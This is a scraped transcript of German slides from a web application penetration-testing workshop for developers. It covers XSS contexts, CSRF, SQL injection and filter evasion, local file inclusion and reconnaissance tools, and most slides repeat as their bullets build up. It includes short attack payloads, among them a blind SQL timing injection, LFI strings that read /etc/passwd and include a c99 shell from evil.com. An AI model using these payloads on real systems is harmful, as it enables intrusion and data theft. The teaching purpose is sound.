Wsd pentesting workshop
Click here to load reader
-
Upload
johann-peter-hartmann -
Category
Documents
-
view
1.787 -
download
1
Transcript of Wsd pentesting workshop
Johann-Peter Hartmann & Marco Kaiser
Live-Hacking & Penetration Testing
Johann-Peter Hartmann
» CTO der Mayflower GmbH» Entwickler und Consultant» Gründer SektionEins GmbH» Security ist Steckenpferd seit 1994
2
Wer seid Ihr ?
3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?
3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?
3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?
3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?
3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?
3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?
» Was erwartet ihr von diesem Workshop?
3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?
» Was erwartet ihr von diesem Workshop?
3
Wer seid Ihr ?
» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?
» Was erwartet ihr von diesem Workshop?
» Oh, sorry, daran haben wir nicht gedacht.
3
Agenda
4
Agenda
» Grundlagen
4
Agenda
» Grundlagen» Motivation Pentesting
4
Agenda
» Grundlagen» Motivation Pentesting» Information Gathering
4
Agenda
» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting
4
Agenda
» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting» Hands on
4
Grundlagen, Schutzmaßnahmen und Workarounds
5
Grundlagen, Schutzmaßnahmen und Workarounds
» XSS, CSRF
5
Grundlagen, Schutzmaßnahmen und Workarounds
» XSS, CSRF» SQL Injections
5
Grundlagen, Schutzmaßnahmen und Workarounds
» XSS, CSRF» SQL Injections» Shell Execution
5
Grundlagen, Schutzmaßnahmen und Workarounds
» XSS, CSRF» SQL Injections» Shell Execution» DoS
5
Grundlagen, Schutzmaßnahmen und Workarounds
» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads
5
Grundlagen, Schutzmaßnahmen und Workarounds
» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads » Local File Inclusions
5
Grundlagen, Schutzmaßnahmen und Workarounds
» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads » Local File Inclusions» Information Disclosure
5
Warum noch einmal die Grundlagen?
6
Warum noch einmal die Grundlagen?
» Pentesting ist » bekannte Lücken finden» fehlende Sicherheitsmaßnahmen entdecken» Fehler in den Sicherheitsmaßnahmen finden
6
Warum noch einmal die Grundlagen?
» Pentesting ist » bekannte Lücken finden» fehlende Sicherheitsmaßnahmen entdecken» Fehler in den Sicherheitsmaßnahmen finden
» Proportional zur Education» bekannte Lücken unwahrscheinlich» fehlende Sicherheitsmaßnahmen selten» Fehler in Sicherheitsmaßnahmen oft
6
Warum noch einmal die Grundlagen?
» Pentesting ist » bekannte Lücken finden» fehlende Sicherheitsmaßnahmen entdecken» Fehler in den Sicherheitsmaßnahmen finden
» Proportional zur Education» bekannte Lücken unwahrscheinlich» fehlende Sicherheitsmaßnahmen selten» Fehler in Sicherheitsmaßnahmen oft
» Es geht also um die entdeckbaren Fehler
6
XSS - ein bischen Theorie
7
XSS - ein bischen Theorie
» Typische Methoden zum XSS-Schutz
7
XSS - ein bischen Theorie
» Typische Methoden zum XSS-Schutz» Tag-Filterung
7
XSS - ein bischen Theorie
» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting
7
XSS - ein bischen Theorie
» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting
» Löschen erkannter XSS
7
XSS - ein bischen Theorie
» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting
» Löschen erkannter XSS » Validierung
7
XSS - ein bischen Theorie
» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting
» Löschen erkannter XSS » Validierung» globales Escaping
7
XSS - ein bischen Theorie
» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting
» Löschen erkannter XSS » Validierung» globales Escaping» Escaping
7
XSS - ein bischen Theorie
» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting
» Löschen erkannter XSS » Validierung» globales Escaping» Escaping
» ... und warum /index.jsp?id=<script> kein XSS-Test ist
7
Javascript wird ausgeführt in ...
8
Javascript wird ausgeführt in ...
» <script>-Tags
8
Javascript wird ausgeführt in ...
» <script>-Tags» Urls
8
Javascript wird ausgeführt in ...
» <script>-Tags» Urls» Event-Handlern
8
Javascript wird ausgeführt in ...
» <script>-Tags» Urls» Event-Handlern» Style-Sheets
8
Javascript wird ausgeführt in ...
» <script>-Tags» Urls» Event-Handlern» Style-Sheets
» In JavaScript selbst
8
Javascript wird ausgeführt in ...
» <script>-Tags» Urls» Event-Handlern» Style-Sheets
» In JavaScript selbst» in Plugins
8
XSS in Urls
» <link href=“javascript:...» <img src=“javascript:» <meta http-equiv=“refresh“
content=“0;url=javascript:..» <table background=“javascript:...» <div style=“a:url(javascript:...)“>
» Url-Encoding schützt» Tag-Filterung hilft nicht
9
XSS in Scripts
» <script>var search=“mystring“;alert(1);//“
» aus dem JS-Stringkontext in den JS-Kontext ausbrechen
» var number=1;alert(1);
» Stringkontext: korrektes Escaping hilft» Tag-Filterung hilft nicht
10
XSS in Tags
» <input value=“12“ onmouseover=“alert(1);“>
» Attribut-Kontext -> Event-JS-Kontext» <a href=“index.htm“ href=“javascript:...» Attribut-Kontext -> Url-Kontext » <a href=“index.htm“ style=“a:expression(..“» Attribut-Kontext -> Style-Kontext» Escaping mit HTML-Entitäten hilft » Tag-Filterung schützt nicht
11
XSS in Style-Sheets
» Als Style-Definition: <style>a: expression(alert(1))</style>
» Als Style im Attribut: <a style=“background-color:expression(..
» Ausnutzung des URL-Kontextes: url()» Firefox: Ausnutzung über Behaviors
» Escaping hilft bei Strings » Tag-Filterung hilft nicht
12
XSS in HTML
» <script>alert(1)</script>» Wechsel zu Url: <a href=“javascript:...“>» Wechsel zu Event: <a onmouseover=“...“>» Wechsel zu Style: <a style=“a:expression..
» Tag-Filterung hilft » Escaping in HTML-Entitäten hilft
13
Codepage-basierte Kontextwechsel
14
Codepage-basierte Kontextwechsel
» Jedes Escaping ist abhängig von der Code-Page
14
Codepage-basierte Kontextwechsel
» Jedes Escaping ist abhängig von der Code-Page
» Fehlendes Multibyte-Handling kann Escaping boykottierenBeispiel: %C0“ -> %C0\“
14
Codepage-basierte Kontextwechsel
» Jedes Escaping ist abhängig von der Code-Page
» Fehlendes Multibyte-Handling kann Escaping boykottierenBeispiel: %C0“ -> %C0\“
» Die Codepage kann forciert werdenUTF-7-Bug in den ersten 1024 Bytes:+ADw-script+AD4-alert(1);+ADw-/script+AD4+
14
Fazit: Probleme bei XSS
15
Fazit: Probleme bei XSS
» Ein Tagfilter helfen nur in 1/4 aller Fälle
15
Fazit: Probleme bei XSS
» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren
15
Fazit: Probleme bei XSS
» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren
» HTML-Entititäten
15
Fazit: Probleme bei XSS
» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren
» HTML-Entititäten» String-Enkodierung für value=““
15
Fazit: Probleme bei XSS
» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren
» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings
15
Fazit: Probleme bei XSS
» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren
» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings» URL-Enkodierung in Links
15
Fazit: Probleme bei XSS
» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren
» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings» URL-Enkodierung in Links
» Escaping hilft nicht bei Non-String-Injections in Javascript/Event-Kontext
15
Probleme bei XSS-Blacklists
16
Probleme bei XSS-Blacklists
» Browser nutzen HTML tolerant
16
Probleme bei XSS-Blacklists
» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig
16
Probleme bei XSS-Blacklists
» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig
» Kontext-Wechsel durch Interpretation
16
Probleme bei XSS-Blacklists
» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig
» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation
16
Probleme bei XSS-Blacklists
» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig
» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation
» Es gibt keine finale Liste dieser „Verbesserungen“
16
Probleme bei XSS-Blacklists
» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig
» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation
» Es gibt keine finale Liste dieser „Verbesserungen“
» pro Monat wird etwa eine neue gefunden
16
Probleme bei XSS-Blacklists
» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig
» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation
» Es gibt keine finale Liste dieser „Verbesserungen“
» pro Monat wird etwa eine neue gefunden
» Inhalt ist kontextabhängig
16
Probleme bei XSS-Blacklists
» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig
» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation
» Es gibt keine finale Liste dieser „Verbesserungen“
» pro Monat wird etwa eine neue gefunden
» Inhalt ist kontextabhängig » der gleiche String kann je nach Ausgabeort
neutral oder vergiftet sein
16
Probleme bei XSS-Blacklists 2
17
Probleme bei XSS-Blacklists 2
» HTML wird extern erweitert
17
Probleme bei XSS-Blacklists 2
» HTML wird extern erweitert» Attribute wie dojotype=...
17
Probleme bei XSS-Blacklists 2
» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:
17
Probleme bei XSS-Blacklists 2
» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey
17
Probleme bei XSS-Blacklists 2
» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey» JavaScript-Includes für Adserver
17
Probleme bei XSS-Blacklists 2
» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey» JavaScript-Includes für Adserver
» Blacklists sind immer unvollständig
17
Fehlerhafte XSS-Filter
» String-Operationen als Filter» <script>-Tags werden automatisch entfernt» Was ist mit <scr<script>ipt> ? » XSS Cheat Sheet
» http://ha.ckers.org/xss.html
18
Externe XSS-Vektoren
19
Externe XSS-Vektoren
» RSS
19
Externe XSS-Vektoren
» RSS» Web-Services
19
Externe XSS-Vektoren
» RSS» Web-Services» CSV
19
Externe XSS-Vektoren
» RSS» Web-Services» CSV» Meta-Daten von Medienfiles
19
Externe XSS-Vektoren
» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier
19
Externe XSS-Vektoren
» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles
19
Externe XSS-Vektoren
» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles» Poisoning beim Spidern
19
Cross Site Request Forgery
20
Cross Site Request Forgery
» Ist wirklich kritisch: wurde vor kurzem für Erpressung über Domain-Transfer genutzt
» Häufigster Schutz: Token-basiert » Ist mit einem XSS zu boykottieren» -> bei vorhandener CSRF-Protection nach
XSS suchen
20
Schutzmaßnahmen bei SQL-Injection
» Parameter Binding» Parameter Escaping» Blacklisting
21
Angriffe auf Parameter Binding
22
Angriffe auf Parameter Binding
» Namen aus externen Quellen
22
Angriffe auf Parameter Binding
» Namen aus externen Quellen» Datenbanken
22
Angriffe auf Parameter Binding
» Namen aus externen Quellen» Datenbanken» Tabellen
22
Angriffe auf Parameter Binding
» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten
22
Angriffe auf Parameter Binding
» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten
» SQL-Syntax
22
Angriffe auf Parameter Binding
» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten
» SQL-Syntax» Sortierrichtungen
22
Angriffe auf Parameter Binding
» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten
» SQL-Syntax» Sortierrichtungen» Operationen
22
Parameter Escaping
23
Parameter Escaping
» Multi-Byte-Attacken
23
Parameter Escaping
» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken
23
Parameter Escaping
» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen
23
Parameter Escaping
» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen» seltsame Codepages
23
Parameter Escaping
» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen» seltsame Codepages
» Fehlendes Escaping von Bezeichnern
23
Parameter Escaping
» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen» seltsame Codepages
» Fehlendes Escaping von Bezeichnern» Fehlendes Whitelisting von SQL-Syntax
23
SQL Blacklisting Evasions
24
SQL Blacklisting Evasions
» SQL Comment Filter Evasions
24
SQL Blacklisting Evasions
» SQL Comment Filter Evasions» mehrzeilige Comments: /* */
24
SQL Blacklisting Evasions
» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#
24
SQL Blacklisting Evasions
» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#» können innerhalb von Statements genutzt
werden: u/**/nion
24
SQL Blacklisting Evasions
» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#» können innerhalb von Statements genutzt
werden: u/**/nion» Umgehen von Escaping mit Funktionen
24
SQL Blacklisting Evasions
» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#» können innerhalb von Statements genutzt
werden: u/**/nion» Umgehen von Escaping mit Funktionen
» char(65) an Stelle von ‘a‘
24
Code / OS Level Executions
25
Code / OS Level Executions
» Shell Kommando Escaping» Standardlösung: Escape von
“\#&;}{|*?`<>^()[]» Umgehen mit Multibyte-Attacken» Beispiel: PHP und GBK» UTF-8: (von Shell abhängig, to be done)
25
Denial of Service
26
Denial of Service
» Schutzmaßnahmen
26
Denial of Service
» Schutzmaßnahmen» Infrastruktur / Provider
26
Denial of Service
» Schutzmaßnahmen» Infrastruktur / Provider » Webserver
26
Denial of Service
» Schutzmaßnahmen» Infrastruktur / Provider » Webserver
» IDS
26
Denial of Service
» Schutzmaßnahmen» Infrastruktur / Provider » Webserver
» IDS» Throttling, mod_bandwidth
26
Denial of Service
» Schutzmaßnahmen» Infrastruktur / Provider » Webserver
» IDS» Throttling, mod_bandwidth
» Applikationsbasiert
26
Denial of Service
» Schutzmaßnahmen» Infrastruktur / Provider » Webserver
» IDS» Throttling, mod_bandwidth
» Applikationsbasiert » z.B. Auto-Logout oder IP-Ban
26
Denial of Service
» Schutzmaßnahmen» Infrastruktur / Provider » Webserver
» IDS» Throttling, mod_bandwidth
» Applikationsbasiert » z.B. Auto-Logout oder IP-Ban
» Evasion über teure Operationen
26
Denial of Service
» Schutzmaßnahmen» Infrastruktur / Provider » Webserver
» IDS» Throttling, mod_bandwidth
» Applikationsbasiert » z.B. Auto-Logout oder IP-Ban
» Evasion über teure Operationen» z.B. Registration, FriendOfAFriend, Suchen
mit Rechteprüfung
26
File Uploads
27
File Uploads
» Gefahr von XSS, Code Executions, Content Manipulation
27
File Uploads
» Gefahr von XSS, Code Executions, Content Manipulation
» Abwehr: Virtualisierung der Ablage, Virenchecks
27
File Uploads
» Gefahr von XSS, Code Executions, Content Manipulation
» Abwehr: Virtualisierung der Ablage, Virenchecks
» Umgehung» Flash-Security: einschmuggeln einer
crossdomain.xml-Alternative » Zip Bombs » Microsofts Filetyperkennung
27
Local File Inclusions
» include “const“.$_GET[‘bla‘].“const“;» ?bla=/../../etc/passwd%00» ?bla=/../../var/log/apache/access_log» ?bla=/../../var/log/vsftp.log%00
» include $_GET[‘bla‘] . “const“;» ?bla=data://text/plain;base64,P...» ?bla=php://filter/resource=http://evil.com/
c99.txt
28
Information Disclosure
» Geschützt durch korrekte (Fehler-)Ausgaben
» Umgehung» Timing-Attacken (Login: Username existent?)» Artifakte» Content-Disclosure Fehler
29
Motivation Pentesting für Entwickler
30
Motivation Pentesting für Entwickler
» Know your enemy
30
Motivation Pentesting für Entwickler
» Know your enemy » Der Entwickler ist der Hebel für Security
30
Motivation Pentesting für Entwickler
» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse
30
Motivation Pentesting für Entwickler
» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse
» offensichtliche Probleme werden gefunden
30
Motivation Pentesting für Entwickler
» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse
» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden
30
Motivation Pentesting für Entwickler
» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse
» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden
» Security Awareness
30
Motivation Pentesting für Entwickler
» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse
» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden
» Security Awareness » Security ist komplex
30
Motivation Pentesting für Entwickler
» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse
» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden
» Security Awareness » Security ist komplex
» Ohne Verständnis der Angreiferseite sind manche Abwehrmaßnahmen nicht möglich
30
Information Gathering
31
Information Gathering
» Infrastruktur
31
Information Gathering
» Infrastruktur» Host
31
Information Gathering
» Infrastruktur» Host» Webserver
31
Information Gathering
» Infrastruktur» Host» Webserver» Webapplikationen
31
Information Gathering - Infrastruktur
32
Information Gathering - Infrastruktur
» Welcher Hoster, welcher Netzblock» Sind andere Server in der Nähe, zum Beispiel
SQL-Server? » Staging-Server?
32
Information Gathering - Infrastruktur
» Welcher Hoster, welcher Netzblock» Sind andere Server in der Nähe, zum Beispiel
SQL-Server? » Staging-Server?
» Tools» whois, Nmap, BSI OSS Security Suite, fierce
32
Information Gathering - Infrastruktur
» Welcher Hoster, welcher Netzblock» Sind andere Server in der Nähe, zum Beispiel
SQL-Server? » Staging-Server?
» Tools» whois, Nmap, BSI OSS Security Suite, fierce
» Fehler in der Infrastruktur » offenen Zone-Listen im DNS, offene
Datenbank-Server etc
32
Information Gathering Host
33
Information Gathering Host
» Nmap: offene Ports, welche Services
33
Information Gathering Host
» Nmap: offene Ports, welche Services» Banner: Welche Versionen?
33
Information Gathering Host
» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint
33
Information Gathering Host
» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint» Andere Domains auf der gleichen IP
http://myipneighbors.com
33
Information Gathering Webserver
34
Information Gathering Webserver
» Google Dorks
34
Information Gathering Webserver
» Google Dorks » http://johnny.ihackstuff.com/ghdb.php
34
Information Gathering Webserver
» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow
34
Information Gathering Webserver
» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow
» Wikto Web Server Scanner
34
Information Gathering Webserver
» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow
» Wikto Web Server Scanner» OpenSource Perl Scanner mit grosser Library
34
Information Gathering Webserver
» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow
» Wikto Web Server Scanner» OpenSource Perl Scanner mit grosser Library
» http://www.netcraft.co.uk/
34
Information Gathering Webserver
» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow
» Wikto Web Server Scanner» OpenSource Perl Scanner mit grosser Library
» http://www.netcraft.co.uk/ » FoundStone SuperScan
34
Lifedemo
» myipneighbors.com» Wikto» Goolag Scanner
35
Zielhost: Artifakte
36
Zielhost: Artifakte
» Transparente Endungen und Artifakte» config.ini» config.ini~» config.ini.bak» config.ini.tmp» config.old» config.orig
36
Zielhost: Artifakte
» Transparente Endungen und Artifakte» config.ini» config.ini~» config.ini.bak» config.ini.tmp» config.old» config.orig
» Beispiel: Artifakte von SCM: http://omniti.com/.svn/entries
36
Parameter Manipulation
37
Parameter Manipulation
» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies
37
Parameter Manipulation
» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies
» Andere Manipulationen
37
Parameter Manipulation
» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies
» Andere Manipulationen» User-Agent
37
Parameter Manipulation
» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies
» Andere Manipulationen» User-Agent» DNS, Hostname vom Client
37
Parameter Manipulation
» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies
» Andere Manipulationen» User-Agent» DNS, Hostname vom Client» Bei Default-Domain: HTTP Host-Header
37
Parameter Manipulation
» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies
» Andere Manipulationen» User-Agent» DNS, Hostname vom Client» Bei Default-Domain: HTTP Host-Header» Accept-Header: Language, Encoding
37
Pentesting Webapplikationen
38
Pentesting Webapplikationen
» Tools
38
Pentesting Webapplikationen
» Tools» XSS Pentesting
38
Pentesting Webapplikationen
» Tools» XSS Pentesting» CSRF Pentesting
38
Pentesting Webapplikationen
» Tools» XSS Pentesting» CSRF Pentesting» SQL
38
Pentesting Webapplikationen
» Tools» XSS Pentesting» CSRF Pentesting» SQL
» SQL Injection
38
Pentesting Webapplikationen
» Tools» XSS Pentesting» CSRF Pentesting» SQL
» SQL Injection» Blind SQL Injection
38
Pentesting Webapplikationen
» Tools» XSS Pentesting» CSRF Pentesting» SQL
» SQL Injection» Blind SQL Injection
» Information Disclosure
38
Tools zum manuellen Pentesten
39
Tools zum manuellen Pentesten
» Browser: Firefox
39
Tools zum manuellen Pentesten
» Browser: Firefox » Firefox Plugins
39
Tools zum manuellen Pentesten
» Browser: Firefox » Firefox Plugins
» Tamper Data
39
Tools zum manuellen Pentesten
» Browser: Firefox » Firefox Plugins
» Tamper Data » Hackbar
39
Tools zum manuellen Pentesten
» Browser: Firefox » Firefox Plugins
» Tamper Data » Hackbar» Firebug
39
Tools zum manuellen Pentesten
» Browser: Firefox » Firefox Plugins
» Tamper Data » Hackbar» Firebug
» Greasemonkey XSS Assistant
39
XSS Pentest
40
XSS Pentest
» Typ 0 XSSEinfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?
40
XSS Pentest
» Typ 0 XSSEinfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?
» Wird die Seite mit diesem String manipuliert?
40
XSS Pentest
» Typ 0 XSSEinfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?
» Wird die Seite mit diesem String manipuliert?
» Typisches Beispiel: Frames und Iframes
40
XSS Pentest
41
XSS Pentest
» Typ 1 / Typ 2 XSSAlle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt
41
XSS Pentest
» Typ 1 / Typ 2 XSSAlle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt
» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren
41
XSS Pentest
» Typ 1 / Typ 2 XSSAlle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt
» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren
» Falls ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet verwenden
41
CSRF Pentesting
42
CSRF Pentesting
» Prüfung: Existiert ein Tokenschutz?
42
CSRF Pentesting
» Prüfung: Existiert ein Tokenschutz? » Falls ja
42
CSRF Pentesting
» Prüfung: Existiert ein Tokenschutz? » Falls ja
» Ist der Token vorhersehbar?
42
CSRF Pentesting
» Prüfung: Existiert ein Tokenschutz? » Falls ja
» Ist der Token vorhersehbar? » wird der Token überprüft?
42
CSRF Pentesting
» Prüfung: Existiert ein Tokenschutz? » Falls ja
» Ist der Token vorhersehbar? » wird der Token überprüft?
» Falls nein
42
CSRF Pentesting
» Prüfung: Existiert ein Tokenschutz? » Falls ja
» Ist der Token vorhersehbar? » wird der Token überprüft?
» Falls nein» existiert ein Referer-Check?
42
CSRF Pentesting
» Prüfung: Existiert ein Tokenschutz? » Falls ja
» Ist der Token vorhersehbar? » wird der Token überprüft?
» Falls nein» existiert ein Referer-Check?
» Prüfung auf XSS und Flash-Angriffe, um das Token auszulesen
42
SQL Injection Pentesting
43
SQL Injection Pentesting
» Parametermanipulation
43
SQL Injection Pentesting
» Parametermanipulation» Test mit Escape-Parametern und
Sonderzeichen
43
SQL Injection Pentesting
» Parametermanipulation» Test mit Escape-Parametern und
Sonderzeichen» Lassen sich Fehlermeldungen provozieren?
43
SQL Injection Pentesting
» Parametermanipulation» Test mit Escape-Parametern und
Sonderzeichen» Lassen sich Fehlermeldungen provozieren?» Ändert sich etwas an den dargestellten
Werten?
43
SQL Injection Pentesting
44
SQL Injection Pentesting
» Rekonstruktion der Query
44
SQL Injection Pentesting
» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?
44
SQL Injection Pentesting
» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler
44
SQL Injection Pentesting
» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler
» Union-Versuch
44
SQL Injection Pentesting
» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler
» Union-Versuch» Klammern-Tests
44
SQL Injection Pentesting
» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler
» Union-Versuch» Klammern-Tests
» Feldzahl und -namen Erkennung mit Union
44
SQL Injection Pentesting
» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler
» Union-Versuch» Klammern-Tests
» Feldzahl und -namen Erkennung mit Union» Neutralisierung von Filtern durch Kommentare
44
SQL Injection Pentesting
» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler
» Union-Versuch» Klammern-Tests
» Feldzahl und -namen Erkennung mit Union» Neutralisierung von Filtern durch Kommentare
» Erkennung der Datenbank und Version
44
SQL Injection Pentesting
» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler
» Union-Versuch» Klammern-Tests
» Feldzahl und -namen Erkennung mit Union» Neutralisierung von Filtern durch Kommentare
» Erkennung der Datenbank und Version » SELECT /*!32302 1/0, */1 FROM tablename
44
SQL Injection Pentesting - Blind SQL Injection
45
SQL Injection Pentesting - Blind SQL Injection
» Nicht jede Query liefert ein sichtbares Ergebnis
45
SQL Injection Pentesting - Blind SQL Injection
» Nicht jede Query liefert ein sichtbares Ergebnis
» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren
45
SQL Injection Pentesting - Blind SQL Injection
» Nicht jede Query liefert ein sichtbares Ergebnis
» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren
» index.jsp?field=name&direction=ASC
45
SQL Injection Pentesting - Blind SQL Injection
» Nicht jede Query liefert ein sichtbares Ergebnis
» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren
» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC
45
SQL Injection Pentesting - Blind SQL Injection
» Nicht jede Query liefert ein sichtbares Ergebnis
» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren
» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC» Kann zur Passwortenumeration genutzt
werden
45
Information Disclosure Pentesting
46
Information Disclosure Pentesting
» Nach Artifakten suchen
46
Information Disclosure Pentesting
» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren
46
Information Disclosure Pentesting
» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren
» Parameter-Manipulation
46
Information Disclosure Pentesting
» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren
» Parameter-Manipulation» gezielt Sondernzeichen nutzen
46
Information Disclosure Pentesting
» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren
» Parameter-Manipulation» gezielt Sondernzeichen nutzen
» ‚ \ %00 %0A %0D %27
46
Information Disclosure Pentesting
» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren
» Parameter-Manipulation» gezielt Sondernzeichen nutzen
» ‚ \ %00 %0A %0D %27» Häufig sind Angaben in den Kommentaren
versteckt!
46
Information Disclosure Pentesting
» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren
» Parameter-Manipulation» gezielt Sondernzeichen nutzen
